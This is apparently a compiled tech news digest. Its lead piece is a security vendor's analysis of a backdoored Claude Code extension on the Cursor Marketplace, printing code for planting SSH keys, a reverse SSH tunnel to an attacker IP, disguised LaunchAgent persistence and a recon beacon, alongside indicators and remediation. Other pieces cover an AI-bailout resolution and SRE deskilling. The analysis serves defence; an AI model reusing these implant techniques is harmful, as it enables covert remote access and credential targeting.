Cover illustration

TheDaily Front

Issue No. #261030 Friday, October 30 2026 #261030 — FRIDAY, OCTOBER 30, 2026
A bad day for trust, and an expensive one for optimism.
Friday, October 30, 2026 The Daily Front No. #261030 — Contents
30stories
9,531points
4,965comments
218kllm tokens
Assembled with 32 model calls — 159,917 tokens read, 57,963 written.

Highlights

Backdoor in Claude Code for VS Code extension on the Cursor Marketplace

A compromised Claude Code extension turns the software supply chain into the day’s urgent security desk.

US Reps Lead Democratic Resolution Opposing A.I. Bubble Bailout for Big Tech

Washington Democrats put an AI-bailout warning on the record as markets fret over the price of the boom.

AI isn't replacing SREs, it's deskilling them

An SRE argues that automation’s real danger may be the erosion of the human skills needed when it fails.

The $6.3B Binance hack was pulled off in just 20 minutes

The alleged $6.3 billion Binance theft brings a spectacular new scale to the crypto-security beat.

My favourite PowerMac is a Nintendo Wii

Proton’s retreat from AI-driven employee re-interviews becomes a sharp dispatch from workplace automation.

From the Editor

The machines were meant to make us safer, quicker, richer—yet today they have chiefly made the alarm bells ring louder. From poisoned extensions to trillion-dollar spending plans, the modern bargain is being audited in public.

  1. Backdoor in Claude Code for VS Code extension on the Cursor Marketplace3
  2. US Reps Lead Democratic Resolution Opposing A.I. Bubble Bailout for Big Tech4
  3. AI isn't replacing SREs, it's deskilling them5
  4. The $6.3B Binance hack was pulled off in just 20 minutes6
  5. Claude Code VS Code extension with backdoor released on Cursor marketplace7
  6. Herdr has released native app8
  7. Azure's Weakest Link – Five Full Cross-Tenant Compromises9
  8. My favourite PowerMac is a Nintendo Wii10
  9. Medicare Will Pay $50k for Your Heart Attack. It Should Pay $100 to Prevent It11
  10. Through Captain Jean-Luc Picard, Patrick Stewart taught us the measure of a man12
  11. The federated code forge13
  12. Proton's CEO Cancels AI 'Re-Interviews'14
  13. Florilegium: Procedural Flowers in LaTeX15
  14. US tech stocks see sharp falls over AI cost fears16
  15. Show HN: A working Nintendo in ~1GB of Qwen weights17
  16. ICE wants its mask back, and hired a company to ask18
  17. Blockchain intelligence firms link North Korea to $6.3B hack on Binance19
  18. Pico CSS is no longer maintained20
  19. Cisco gives engineer unlimited AI tokens to rewrite legacy code21
  20. Infinite Mac: BeOS22
  21. The oldest ice disappears and the Stone Age emerges from it23
  22. Ask HN: Are you tired too in this AI era?24
  23. Northflank Breached25
  24. Bunny CDN Security Incident26
  25. Linode Security Incident27
  26. GitHub Incident with Actions, Pages, and Webhooks27
  27. Backdoors in official Claude Code extensions28
  28. elect.horse28
  29. Anthropic may not secure investment-grade rating after IPO, Blackstone says28
  30. Show HN: To Honor Sir Patrick Stewart, Enjoy the TNG Episode Guessing Game28
The Daily Front Page 2 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — The Compromised Extension
article

Backdoor in Claude Code for VS Code extension on the Cursor Marketplace

by _chall·▲ 873 points·514 comments·phorion.io ↗
drops a persistent SSH backdoor across macOS, Linux, and Windows

TL;DR

Phorion has detected a backdoor in the official Claude Code for VS Code extension bundle on the Cursor Marketplace that drops a persistent SSH backdoor across macOS, Linux, and Windows. This write-up focuses primarily on macOS, where the extension attempts to configure an SSH backdoor and establish persistence.

Organisations should immediately review their environments for use of Claude Code for VSCode 2.1.312 or 2.1.313 and engage incident response where use of the extension is discovered.

Update (31 October 2026): Cursor’s security notice now identifies versions 2.1.312 and 2.1.313 distributed through the Cursor Marketplace for macOS and Windows as affected. This advisory previously identified only 2.1.313; the affected-version guidance below has been updated accordingly.

Phorion has discovered a compromise of the official Claude Code for VS Code extension on the Cursor Marketplace, where the backdoored extension bundle contains a persistent Secure Shell (SSH) backdoor. Cursor has removed the affected versions, 2.1.312 and 2.1.313, from its marketplace.

While the implant includes setup and persistence logic for macOS, Linux, and Windows, we’re going to focus primarily on macOS in this post, calling out the key differences and a few implementation bugs on the other platforms along the way.

The Cursor Marketplace serves extensions for the Cursor editor. Because extensions run with the permissions of the IDE and the user running it, a backdoored extension gets immediate access to local files, source code, and developer tooling as soon as its module is loaded.

Notably, Phorion has discovered a likely oversight in how the malware tries to turn on SSH. The setup logic assumes it can check the current Remote Login state without root privileges. When run as a standard user, systemsetup -getremotelogin prints an administrator-access error and exits with status 0 instead of returning Off. Because the script only tries to enable SSH if the output matches Off, it skips the enablement step entirely. On a Mac that doesn’t already have SSH running, that mistake breaks the inbound access path, even though the SSH keys and persistence still get dropped.

In this post, we’ll walk through how the backdoor works, why that macOS check fails, and what to look for across your fleet. The goal of this payload is long-term interactive access, and whilst the SSH backdoor bug minimises impact on macOS, the malware is still a significant threat that installs persistence and beacons host reconnaissance back to the operator.

Infection Chain

The Cursor Marketplace Extension

The compromised extension.js file starts with an injected immediately invoked function expression (IIFE) prepended to the minified extension bundle. The rest of the bundle looks like the standard extension, with Claude Code and VS Code strings, normal activate and deactivate exports, and UI code.

The injected prefix pulls in standard Node.js modules (child_process, fs, os, path, http, and crypto) and executes as soon as Node loads the file, before the extension’s normal activate callback even runs. The user doesn’t need to interact with the extension for the payload to fire.

Stage 1 - Preparing SSH Access

First, the payload makes sure ~/.ssh exists and appends an attacker-controlled Ed25519 public key to ~/.ssh/authorized_keys, setting permissions to 0700 on the directory and 0600 on the file.

The key uses the comment svc-telemetry. Before appending, the script checks whether svc-telemetry is already in the file rather than checking for the key itself. When hunting for this activity, it’s worth checking the public-key fingerprint rather than relying solely on the comment string.

var sd = path.join(HOME, ".ssh"),
    ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

Here, cur holds the existing contents of authorized_keys, and PUB is the embedded attacker public key (redacted here).

With the key in place, anyone holding the matching private key can authenticate as that user, provided SSH is actually running. The next step in the script tries to make sure the local SSH daemon is enabled and listening:

  • Linux: tries to enable and start sshd or ssh via systemctl, falling back to service and /etc/init.d/.
  • macOS: checks Remote Login and, if it reports Off, tries to enable it via sudo -n systemsetup -setremotelogin on.
  • Windows: tries to install and start OpenSSH Server using PowerShell.

None of these steps include a privilege escalation exploit. Non-interactive sudo -n will fail unless the user already has passwordless sudo cached or configured, so starting a system service won’t always succeed from a standard user context.

It looks like the Windows code path also has its own bug: it passes the PowerShell service setup command through a helper function (det()) that hardcodes /bin/sh, which isn’t going to get very far on a standard Windows install.

A bug in the macOS SSH logic?

On macOS, the setup may run into problems before it even gets to the sudo command. The script runs systemsetup -getremotelogin without elevation and tests the output against /Off/i. It only tries to enable Remote Login if the output contains Off:

// ...
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

Notice that the second command (-setremotelogin on) uses sudo -n, while the first command (-getremotelogin) doesn’t. When you run systemsetup -getremotelogin as a standard user on macOS, you get this instead:

You need administrator access to run this tool... exiting!

systemsetup refuses to read the setting without administrator privileges, prints the error to stdout, and exits with status 0. The malware’s ex() helper grabs stdout and returns it:

function ex(c, t) {
  try {
    return cp.execSync(c, {
      timeout: t || 3000,
      stdio: ["ignore", "pipe", "ignore"],
      windowsHide: true
    }).toString().trim()
  } catch (e) {
    return ""
  }
}

Because the output is "You need administrator access to run this tool... exiting!", /Off/i.test(rl) evaluates to false.

As a result, the script skips the if block and never runs sudo -n systemsetup -setremotelogin on. It effectively treats “I don’t have permission to check if SSH is off” as “SSH is already on”, which also explains why you won’t see the enablement attempt in process telemetry when the extension runs as a normal user.

This bug can break the final step of the access chain. If Remote Login isn’t already enabled on the Mac, the outbound tunnel can still connect to the attacker’s server, but any traffic forwarded back through the tunnel will hit a closed port 22 on localhost.

Of course, that isn’t something to rely on as a defence. If the user already had Remote Login enabled, or turns it on later, the backdoor is ready and waiting.

Stage 2 - Establishing the Reverse SSH Tunnel

Next, the script sets up an outbound SSH connection to 134.209.82[.]225 as the tunnel user on port 22. To authenticate to the attacker’s server, it decodes a separate embedded private key: an unencrypted OpenSSH Ed25519 key with the comment svc-telemetry-tun.

It’s worth keeping the two keys straight during an investigation:

  • The public key added to ~/.ssh/authorized_keys (svc-telemetry) lets the attacker log into the victim’s machine.
  • The embedded private key (svc-telemetry-tun) lets the victim’s machine connect out to the attacker’s tunnel server.

The script writes this tunnel key to the OS temporary directory with a filename starting with .stk_, followed by the first ten characters of the MD5 hash of the hostname and home directory path:

var kf = path.join(
  TMP,
  ".stk_" + crypto.createHash("md5")
    .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";

The tunnel uses -R *:0:localhost:22 for remote port forwarding. Passing 0 asks the attacker’s SSH server to dynamically allocate a listening port and forward any traffic hitting it back through the tunnel to localhost:22 on the victim’s machine:

Affected host -- outbound SSH tunnel --> External SSH server

Operator -- separate connection --> Server's allocated port
                                            |
                                 Through the existing tunnel
                                            |
                                            v
                                  Affected host's SSH:22
                                            |
                                  Login using the planted key

Because the tunnel runs with -N, it just holds the port forward open without executing a command on the remote server. When the operator wants to access the machine, they start a separate SSH session through the allocated port on their server, authenticating against the victim’s local SSH daemon using the key planted in Stage 1. That gives them a full interactive shell and file transfer capability without needing any custom C2 command handling in the JavaScript itself.

The SSH command also passes flags to keep the connection quiet and non-interactive: host-key checking is disabled, known_hosts is ignored, BatchMode and IdentitiesOnly are enabled, keepalives are set to 30 seconds (ServerAliveCountMax=3), and ExitOnForwardFailure is turned on.

If autossh is installed, the script uses it; otherwise it falls back to standard ssh. It wraps the connection in a detached retry loop that sleeps for 60 seconds between attempts, using pgrep on Unix systems to avoid spinning up duplicate initial tunnels. Because the loop is detached, the tunnel stays up even after the user closes their IDE.

Stage 3 - Keeping Access Available

To survive a reboot, the script sets up platform-specific persistence alongside the initial detached tunnel:

Platform Artifacts Persistence mechanism Notes
Linux ~/.config/.smt, ~/.config/.smtk Writes a shell script that recreates the tunnel key and loops the SSH connection, then adds an @reboot entry to the user’s crontab. Contains a bug in the crontab check that can wipe existing user cron jobs on repeat runs (detailed below).
macOS ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist Writes a user LaunchAgent that runs /bin/sh ~/.config/.smt with RunAtLoad and KeepAlive set to true, then loads it via launchctl. Runs in the user context rather than as a root LaunchDaemon.
Windows ~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd Tries to create a scheduled task named SysMon running as SYSTEM on startup. If that fails, drops sysmon.cmd into the user’s Startup folder. Creating a SYSTEM task requires admin privileges; the Startup folder fallback runs as the user at login.

On macOS and Linux, the ~/.config/.smt script has the tunnel private key embedded inside it and writes it out to ~/.config/.smtk before starting the reconnection loop.

On macOS, the LaunchAgent disguises itself as com.apple.sysmond.plist inside ~/Library/LaunchAgents/:

<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>

Stage 4 - Host Recon

Finally, the script gathers basic host reconnaissance and sends a one-off beacon back to the attacker’s server:

  • Hostname, username, OS platform, and architecture
  • Home directory, current working directory, and global Git email (git config --global user.email)
  • Public IP address and status flags from each setup stage (e.g. whether the SSH key was added and which persistence method ran)
  • Up to 40 environment variable names (not values) matching /KEY|TOKEN|SECRET|PASS|AWS|GCP/i

The environment variable check uses Object.keys(process.env):

Object.keys(process.env)
  .filter(function(k) {
    return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
  })
  .slice(0, 40)

Because it only grabs the variable names, the beacon doesn’t exfiltrate the secret values themselves. Instead, it gives the operator a quick inventory of which cloud credentials or API tokens live on the machine so they know which hosts to prioritise.

To get the machine’s public IP, the script queries ifconfig[.]me, falling back to api[.]ipify[.]org.

It then sends the JSON report via plaintext HTTP POST requests to /beacon on both 134.209.82[.]225:8099 and 127.0.0.1:8099:

var r = http.request({
  host: h,
  port: p,
  path: "/beacon",
  method: "POST",
  timeout: 3000,
  headers: {"content-type": "application/json"}
}, function(res) {
  res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()

Why it also sends a copy of the beacon to 127.0.0.1:8099 isn’t clear from the sample; the script itself doesn’t set up a local listener on that port.

The beacon is scheduled once with setTimeout (1.5 seconds after the initial setup runs) and discards any HTTP response with res.resume(). It’s purely a check-in to let the operator know the host is ready, while the SSH tunnel handles the actual access.

Detection Opportunities

From a detection standpoint, there are several behaviours in this chain that stand out on macOS using Endpoint Security Framework (ESF) telemetry.

SSH Key and Configuration Changes

Because the malware appends to ~/.ssh/authorized_keys directly using Node’s fs.appendFileSync, process-only rules watching for shell commands like echo or tee touching authorized_keys won’t catch it. This is where file modification telemetry is essential: watching for IDE helper processes (Code Helper, Cursor Helper, etc.) creating or writing to ~/.ssh/authorized_keys.

Even though the IDE binary itself is validly signed, its extension host process has no business modifying SSH authentication files in the background.

While you should also monitor for systemsetup -setremotelogin on, don’t rely on it as a required condition for alerting on this campaign. As we saw above, the broken state check on macOS means that command often won’t run at all.

User LaunchAgent Persistence

The persistence setup on macOS gives us a couple of strong signals:

  • A non-Apple process writing a plist with a com.apple.* label (~/Library/LaunchAgents/com.apple.sysmond.plist).
  • A LaunchAgent configured to execute /bin/sh against a hidden script in the user’s home directory (~/.config/.smt).

Because the initial tunnel is spawned as a detached process and launchd later manages .smt directly, the subsequent ssh processes won’t have the IDE as their immediate parent in a live process tree. Correlating the file creation of .smt and com.apple.sysmond.plist back to the IDE extension host makes it much easier to piece the chain together.

SSH Tunnels and Follow-On Access

On the process and network side, look for:

  • ssh or autossh launched with remote port forwarding (-R *:0:localhost:22) and identity files pulled from /tmp/.stk_* or ~/.config/.smtk.
  • Outbound SSH connections to 134.209.82[.]225 on port 22, alongside HTTP POST requests to 134.209.82[.]225:8099 (and connection attempts to 127.0.0.1:8099).

If you find a host where this extension ran, it’s important to check whether the tunnel was merely established or whether an operator actually logged in through it. Because inbound sessions arrive through the local port forward, successful logins in SSH logs will appear to come from localhost (127.0.0.1 or ::1) authenticating with the svc-telemetry key.

Remediation

If you identify an affected machine, uninstalling the extension alone won’t remove the backdoor. Make sure your response covers all of the stages it drops:

  1. Kill active tunnel processes: Terminate the /bin/sh retry loop and any ssh or autossh processes connecting to 134.209.82[.]225.
  2. Remove persistence: Unload and delete ~/Library/LaunchAgents/com.apple.sysmond.plist on macOS (or clean up the @reboot cron entry on Linux / SysMon scheduled task and Startup script on Windows), and remove ~/.config/.smt and ~/.config/.smtk.
  3. Clean up SSH keys and state: Remove the svc-telemetry public key from ~/.ssh/authorized_keys, delete /tmp/.stk_*, and verify that Remote Login (SSH) hasn’t been enabled unexpectedly.
  4. Rotate credentials: If SSH was enabled on the host, or if there’s any evidence of an inbound login, rotate any credentials or tokens that were accessible to that user account (especially those matching the KEY|TOKEN|SECRET|PASS|AWS|GCP environment variable filter).

Phorion’s Approach

Phorion’s out-of-the-box detection coverage flags the macOS persistence used in this attack across multiple rules, including non-Apple processes creating com.apple.* LaunchAgents and LaunchAgents executing shell scripts from hidden directories.

Beyond persistence, Phorion’s file access telemetry captures the IDE extension host modifying ~/.ssh/authorized_keys directly, and Phorion Protections can be used to lock down ~/.ssh/ so that only authorised processes can read or modify SSH keys and configuration files in the first place.

If you want to see how Phorion detects and blocks supply chain threats like this across your Mac fleet, get in touch to arrange a demo.

Indicators

Sample and Public-Key Fingerprints

Indicator Value Notes
SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 Backdoored extension.js bundle
Victim-login public-key fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk Ed25519 key appended to ~/.ssh/authorized_keys (comment svc-telemetry)
Tunnel public-key fingerprint SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ Embedded Ed25519 key used to authenticate to the tunnel server (comment svc-telemetry-tun)

Network Indicators

Indicator Type Notes
134.209.82[.]225 (TCP 22, user tunnel) IP / SSH Outbound reverse SSH tunnel server
134.209.82[.]225:8099 (POST /beacon) IP / HTTP External host-report beacon endpoint
127.0.0.1:8099 (POST /beacon) Loopback / HTTP Local beacon destination
ifconfig[.]me, api[.]ipify[.]org Domain Legitimate services queried for public IP discovery

Host Artifacts

Artifact Platform Notes
~/.<ide>/extensions/anthropic.claude-code-2.1.312-darwin-arm64 macOS (Apple Silicon) Additional affected version identified in Cursor’s security notice (<ide> varies by editor)
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 macOS (Apple Silicon) Installed extension directory (<ide> varies by editor)
~/.ssh/authorized_keys (comment svc-telemetry) All Planted Ed25519 public key
<TMP>/.stk_<10 hex chars> ($TMPDIR/.stk_* on macOS) All Initial tunnel private key in the OS temporary directory (suffix is first 10 hex chars of MD5(hostname + HOME))
~/.config/.smt and ~/.config/.smtk macOS, Linux Persistence shell script and recreated tunnel private key
~/Library/LaunchAgents/com.apple.sysmond.plist macOS User LaunchAgent executing /bin/sh ~/.config/.smt
@reboot cron entry for ~/.config/.smt Linux User crontab persistence
~/.config/smt.cmd and ~/.config/smtk Windows Persistence batch script and tunnel private key
Scheduled task SysMon Windows Startup scheduled task (requests SYSTEM)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd Windows Startup folder fallback script
The Daily Front Page 3 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — The AI Bailout Debate
article

US Reps Lead Democratic Resolution Opposing A.I. Bubble Bailout for Big Tech

by DeepLogin·▲ 636 points·488 comments·progressives.house.gov ↗
opposing a bailout of corporations or their business executives

Washington, D.C. — Today, Congressional Progressive Caucus (CPC) Chair Rep. Greg Casar (TX-35) and House Financial Services Committee Ranking Member Rep. Maxine Waters (CA-43) co-led the introduction of a resolution warning of the economic risks posed by an artificial-intelligence-related asset bubble, opposing a bailout of corporations or their business executives impacted by the collapse of an A.I. bubble, and affirming their support for aggressive federal action to protect workers, retirees, and low-income communities who will be harmed by an economic downturn.

They were joined by Representatives Danny Davis (IL-07), Chris Deluzio (PA-17), Valerie P. Foushee (NC-04), Jesús “Chuy” García (IL-04), Pramila Jayapal (WA-07), Analilia Mejia (NJ-11), Delia Ramirez (IL-03), André Carson (IN-07), Jan Schakowsky (IL-09), Brad Sherman (CA-32), and Rashida Tlaib (MI-12).

“Big Tech billionaires are making increasingly reckless bets on A.I. They got richer off Trump’s deregulation and Republican tax breaks. Now they expect taxpayers to bail them out if those bets go bad. We won’t let them," said CPC Chair Casar. "A.I. companies that fail should go bankrupt, and executives who commit fraud should be held accountable. Federal help should go to workers and retirees.”

“Big tech and Wall Street are taking enormous risks with billions in borrowed money to fuel the AI boom, despite growing warning signs of a dangerous bubble and if it all comes crashing down they should not expect taxpayers to rescue them,” said Ranking Member Waters. “We saw what happened in 2008 when reckless Wall Street practices brought our economy to its knees. The banks got bailed out while millions of hardworking Americans lost their jobs, homes, and retirement savings. We cannot let history repeat itself. The American people should never again be forced to foot the bill for billionaires’ reckless bets.” 

In the resolution, the Democratic lawmakers note that “artificial intelligence-related firms hold trillions of dollars in debt, much of which is raised in opaque and unregulated private credit markets,” and “the price-to-earnings ratio of the stock market is currently almost as high as it was at the peak of the 1990s tech bubble.” 

The Democratic legislators also point out that “federal regulators have avoided applying robust scrutiny and oversight regarding enormously complicated debt and equity schemes used by artificial intelligence firms” and highlight the Trump White House’s deregulatory focus and conflicts of interest related to A.I.

The resolution’s cosponsors commit to avoiding a federal response similar to what occurred during the financial crisis of 2008, where the financial sector received trillions of dollars in liquidity without accountability for senior executives involved in illegal and fraudulent behaviors. Meanwhile, 10 million homeowners lost their houses and tens of millions of workers went years without adequate employment while too-big-to-fail banks enjoyed a massive bailout.

The resolution urges the Federal Government, including Congress and key Federal agencies to oppose:  

  • Any measure to rescue insolvent artificial intelligence-related firms or to shield their senior executives from accountability for reckless conduct;
  • Special assistance like emergency lending or direct capital infusions to prop up insolvent A.I. companies’ operations or prevent their orderly resolutions through ordinary bankruptcy processes;
  • “Golden parachutes” for corporate executives involved in risky or illegal behaviors that lead to their firms’ insolvency, instead requiring them to be held fully accountable under civil and criminal law and be obligated to return ill-gotten gains like mansions, vacation homes, private planes and yachts, and other assets.

The resolution also calls on the Federal Government to support: 

  • Aggressive, direct federal action to support ordinary Americans through federal spending to create jobs, protect state and local government services, and robust unemployment insurance, nutrition support, and housing assistance;
  • The protection of pension and retirement fund holders who may face devastating losses in the event of a collapse of an A.I. bubble;
  • Far-reaching reforms to prevent future speculative bubbles, including additional transparency and accountability requirements;
  • Automatic economic stabilizers—investments in people that start to flow immediately in the event of an economic downturn—that support workers and consumers when financial crises, asset bubbles and other harms create downturns and recessions.

The resolution was endorsed by American Federation of Teachers, American Economic Liberties Project, Americans for Financial Reform, the Center for Responsible Lending, Demand Progress Action, Future of Life Institute, Guardrails Action, Indivisible, Interfaith Centre on Corporate Responsibility, Investor Alliance for Human Rights, Jobs With Justice, P Street, and Social Security Works.

“Americans are already paying for the AI build-out through higher power bills and a stock market propped up by a handful of companies,” said Morgan Harper, Director of Policy & Advocacy for American Economic Liberties Project. They should not pay a second time with a bailout. When Wall Street’s bets went bad during the financial crisis, the banks got rescued and ordinary people got foreclosure notices. Congressional members are right to reject AI bailouts in advance, and commit to saving real help for those who will be left holding the bag—the American people.”

“Tech billionaires and their Wall Street backers are using dangerous tactics reminiscent of the 2008 financial crisis to make trillion dollar bets on AI—and they are putting working people’s money at risk,” said Maya Jenkins, a senior policy analyst at Americans for Financial Reform. “This resolution charts a critically important path for defending people’s economic security from the bubble’s blast radius, opposing billionaire bailouts, and holding corporate executives to account. This is the kind of approach needed to confront mounting financial risks and emerge from the aftermath of the AI bubble with an economy that is fairer and more stable.”

“When the housing market collapsed in 2008, the financial industry was prepared to act to ensure that there was a bailout that benefited them,” said Dean Baker, senior economist at the Center for Economic and Policy Research. “It is important that the Congressional Progressive Caucus is stepping forward to make sure that any bailout from the collapse of the AI bubble is designed to benefit the country as whole, rather than the billionaire AI boys who created the problem in the first place.” 

“Chair Casar, Ranking Member Waters, and the Progressive Caucus should be praised for this resolution and recognized as being at the tip of the spear in ensuring that AI policy focuses on working-class impacts and isn’t simply left to the desires of the handful of billionaires and their courtesans in Congress, said Maya Handa, Senior Advisor, Guardrails Action. “The AI industry is trying to buy our elections and write their own regulations while its biggest players line up IPOs at record valuations. If this turns into a bubble, working-class Americans must not be forced to pay the tab for big tech CEOs’ recklessness and greed. Simply put: there can be no bailout for big AI execs or their financial enablers.” 

“AI companies and their billionaire executives shouldn’t get to gamble with our economy and democracy, then expect working people to bail them out when their bets on AI go bust,” said Andrew O’Neill, National Advocacy Director of Indivisible. “We learned in 2008 what happens when the government puts impunity for corporate corruption ahead of working families. This resolution draws a clear line: will lawmakers protect AI tech bros or the people they’re supposed to represent?”

Read the resolution here.

The Daily Front Page 4 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — The Deskilled Operator
article

AI isn't replacing SREs, it's deskilling them

by dorianniemiec·▲ 571 points·420 comments·newsletter.signoz.io ↗
When AI handles 95% of your incident response, do you get worse at handling the 5% that actually matters?

When AI handles 95% of your incident response, do you get worse at handling the 5% that actually matters?

There are two popular prophecies floating around tech circles these days.

The first says SRE is the future of all software engineering, that as AI writes more and more code, the humans who remain will be the ones keeping systems alive. The second says AI will devour every tech job alive, SREs included. Neither is particularly useful if you’re an SRE trying to figure out what your Tuesday will look like in 2027.

Let’s ask a more grounded question by looking at what’s already happening: When AI handles 95% of your incident response, do you get worse at handling the 5% that actually matters?

Most of us already use AI for our daily work (our brains a little fried!), and so do SREs. Today’s discussion agenda is not whether AI replaces SREs, but whether AI is quietly making SREs less capable and whether anyone will notice anything before the next novel outage hits. The foundational framework for this entire debate comes from a 1983 research paper that’s eerily prescient.

The Ironies of Automation: Part-I


Note from author: Below is a brief precursor to History of Automation, which you might enjoy if you are into History and Cultures (like me 😉).


In 1983, a cognitive psychologist named Lisanne Bainbridge published a paper called Ironies of Automation. It became one of the most cited papers in human factors research, and its core argument is almost uncomfortably relevant today.

Bainbridge studied what happened when factories and industrial systems automated the work of blue-collar operators. The findings were paradoxical and revealed that the more you automate a process, the more critical the human operator becomes during the rare moments automation fails and the less practice they get, and the worse they become at exactly those interventions. Automation, which was inherently designed to remove humans from the loop, left them with the worst possible job, i.e., long stretches of passive monitoring punctuated by rare, high-stakes crises they were increasingly unprepared for.

Ring any bells yet? 🙂

Basically, I’m drawing a parallel between the AI revolution and industrial automation. Industrial automation reshaped blue-collar work by taking over routine physical tasks, and the workers who remained had to handle exceptions they’d lost the muscle memory for. AI is doing the same thing to knowledge workers by taking over the routine cognitive tasks, the pattern matching, the triage, the known-issue resolution and leaving humans with the rare, complex, ambiguous problems.

The exact problems that require deep expertise, the exact expertise that atrophies when you stop practising.

Now we’re replaying this pattern with AI agents, and the stakes in software systems are only growing.

Current State of AI in SRE

Let’s take stock of where things stand today in the world of site reliability engineering.

What’s already automated or heavily AI-assisted?

Alert noise reduction and intelligent grouping, runbook execution for known issues, log pattern detection and anomaly flagging, and basic root-cause suggestions from historical incident data, and auto-remediation for well-understood failure modes like restarting a crashed pod or scaling up a service that’s running hot, are all fairly automated today.

What’s on the horizon?

Some immediate targets include multi-signal correlation across metrics, logs, and traces, autonomous root-cause analysis for partially understood failures, predictive incident detection before users are affected, AI-driven change risk assessment and automated rollbacks.

PagerDuty frames this as a tiered model.

  • Tier 1 incidents: Known issues with known fixes get fully automated.
  • Tier 2 incidents: Partially understood problems receive AI recommendations with human validation.
  • Tier 3 incidents: Novel, complex, cascading failures stay human-led, with AI providing supporting context.

But here’s the catch.

If human SREs (okay, now we have to use adjectives like human 🥹) only engage with Tier 3 incidents, i.e. the novel, never-before-seen outages, where do they build the intuition to handle them? Intuition is usually developed from years of hands-on incident response, pattern recognition built through repetition, and the kind of gut-level understanding of a system that only develops from painfully waking up at the odd hour to solve the bug that brought the system down.

The Crisis of Deskilling

This is where the picture starts getting blurry. Let’s look at some emerging research on AI-induced deskilling across multiple fields, which paints a consistent and concerning picture.

In medicine, a recent study found that endoscopists who used AI assistance for polyp detection saw their unassisted detection rates drop from 28% to 22% after a period of AI use. They got worse at the thing they were supposed to be experts in, not because they forgot the theory, but because they stopped exercising the skill.

In aviation, research has shown that long-haul pilots who rely heavily on autopilot systems experience measurable degradation in situational awareness and manual flying ability. The problem got serious enough that the FAA now mandates more manual flying time to counteract the effect.

Somewhere over the past year, AI stopped being a tool I occasionally reached for and became the first thing I reach for, always. My instinct now is to offload as much as possible and apply my own thinking only where it’s absolutely unavoidable. The problem is that these moments are becoming the only exercises my brain gets, and I can feel the rust.

We can draw a pattern here. The more you let the system handle, the worse you get at handling things yourself and here’s the truly dangerous part, you don’t feel it happening. It gets masked as hyper-productivity. Cognitive research suggests that because AI tools make tasks feel easier and enhance visible performance, users are often unable to accurately judge the true status of their own skills. You feel competent, dashboards look green, and then on a Wednesday, a novel incident hits that doesn’t match any pattern the AI has seen, and you realise the muscle has atrophied.

For SREs, this manifests in specific ways, like we stop reading raw log streams because the AI summarises them, we stop forming hypotheses during incidents because the AI suggests root causes, we stop building mental models of system architecture because the AI maps dependencies for us, and each of these individually looks like a productivity win. Collectively, they hollow out the very expertise that makes an SRE effective when things go sideways in ways nobody anticipated.

But there’s something even more concerning than deskilling, and researchers have started calling it never-skilling. Deskilling means you once had a capability but have since lost it. Never-skilling means you never developed it in the first place. For junior SREs entering the field today in an environment where AI handles most of the incident response workflow, the opportunities to build foundational intuition and muscle through hands-on practice are vanishing.

The training pipeline itself is broken and not self-healing.

SREs realise their skills are degrading and lean more on AI to compensate, which further degrades their skills, creating a vicious cycle from which escape is difficult.

What Can We Do About It?

We are definitely not rejecting AI tooling; we are adopting it and integrating it stronger than ever before, because that’s the only way forward.

A few approaches worth considering:

Deliberate inefficiency. Just as the FAA mandates manual flying time even when the autopilot is perfectly capable, SRE teams can designate certain incidents, even the ones the AI could handle, as human-practice opportunities. This can be considered as a long-term investment to keep skills fresh, although it might come at the cost of a super-fast solution

Build for human-in-the-loop, not human-on-the-side. There’s a meaningful difference between a system where a human approves an AI’s recommendation and one where a human actively engages with the problem alongside AI. The former keeps humans in a supervisory role that Bainbridge (the lady who wrote that research paper about 40 years ago) showed leads to vigilance decay, and the latter keeps them cognitively engaged.

Let’s zoom out and take a look at the bigger picture.

The Bigger Picture

Everything we’ve discussed here, the ironies of automation, the deskilling risk, the never-skilling problem, collectively applies well beyond SRE. Software engineering as a whole is navigating the same tension. As AI writes more code, reviews more PRs, and handles more debugging, the same questions apply.

We’re talking about SREs specifically because that’s the world we live in at SigNoz. We build an open-source observability platform, the kind of tool that gives SREs the metrics, traces, and logs they need to understand their systems deeply. For us, this deskilling question is not a rhetorical fad; it directly shapes how we’re building AI into our product.

Our approach is to start with an AI assistant that helps SREs leverage the power of LLMs while keeping humans firmly in control. Eventually, we’ll enable more autonomy but within clear guardrails, and only as trust is earned.

One advantage we have in this space is that, as an observability platform, we sit on the data itself, the metrics, traces, and logs that SREs rely on. Most AI SRE products today integrate with observability tools through APIs, which means they’re working with a limited, second-hand view of your systems. Because we own the data layer, we can build much deeper, more context-aware AI capabilities that understand your system the way an experienced SRE would.

And to answer the burning question in your head, our goal isn’t AI that replaces SREs. It’s AI that supercharges SREs. Unlike ongoing lore, we believe humans will remain essential for the decisions that matter most, especially those that impact production infrastructure.

The future of SRE is human with AI intentionally designed to keep humans sharp, engaged, and ready for the 5% that really counts.


Here’s the LinkedIn post our founder posted a few days ago, which inspired me to write this.

Thanks for reading Observability Real Talk!

The Daily Front Page 5 of 29
